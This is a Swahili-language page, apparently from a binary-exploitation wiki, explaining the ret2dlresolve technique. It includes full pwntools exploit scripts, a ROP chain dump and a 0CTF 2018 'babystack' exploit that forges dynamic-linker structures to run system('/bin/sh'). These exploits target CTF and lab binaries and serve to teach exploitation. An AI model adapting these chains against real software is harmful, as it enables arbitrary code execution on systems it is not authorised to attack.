Ret2dlresolve

Reading time: 6 minutes

Basic Information

Kama ilivyoelezwa katika ukurasa kuhusu GOT/PLT na Relro, binaries bila Full Relro zitatatua alama (kama anwani za maktaba za nje) mara ya kwanza zinapotumika. Hii kutatua inatokea kwa kuita kazi _dl_runtime_resolve.

Kazi ya _dl_runtime_resolve inachukua kutoka kwenye stack viungo vya baadhi ya muundo inavyohitaji ili kutatua alama iliyotajwa.

Kwa hivyo, inawezekana kujifanya muundo huu wote ili kufanya uhusiano wa kipekee kutatua alama iliyotolewa (kama kazi ya system) na kuitwa na parameter iliyowekwa (mfano system('/bin/sh')).

Kawaida, muundo huu wote unajifanywa kwa kufanya mnyororo wa awali wa ROP unaoitwa read juu ya kumbukumbu inayoweza kuandikwa, kisha muundo na mfuatano '/bin/sh' vinapitishwa ili kuhifadhiwa kwa kusoma katika eneo lililojulikana, na kisha mnyororo wa ROP unaendelea kwa kuita _dl_runtime_resolve, ukiwa na kutatua anwani ya system katika muundo wa uongo na kuita anwani hii na anwani ya $'/bin/sh'.

Cheki video hii kwa maelezo mazuri kuhusu mbinu hii katika nusu ya pili ya video:

{{#ref}} https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}}

Au cheki hizi kurasa kwa maelezo ya hatua kwa hatua:

• https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works
• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Attack Summary

1. Andika muundo wa uongo mahali fulani
2. Weka hoja ya kwanza ya system ($rdi = &'/bin/sh')
3. Weka kwenye stack anwani za muundo ili kuita _dl_runtime_resolve
4. Kuita _dl_runtime_resolve
5. system itatatuliwa na kuitwa na '/bin/sh' kama hoja

Kutoka kwenye pwntools documentation, hivi ndivyo shambulio la ret2dlresolve linavyoonekana:

context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]

Mfano

Pure Pwntools

You can find an example of this technique here containing a very good explanation of the final ROP chain, but here is the final exploit used:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Mbinu za Msingi

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

Mifano Mingine & Marejeleo

• https://youtu.be/ADULSwnQs-s
• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
• https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
• 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi wa overflow ya buffer ndogo na kurudi. Ili ku exploit, bof inatumika kuita read tena na sehemu ya .bss na ukubwa mkubwa, kuhifadhi katika hapo meza za uwongo za dlresolve ili kupakia system, kurudi kwenye main na kuendelea kutumia bof ya awali kuita dlresolve na kisha system('/bin/sh').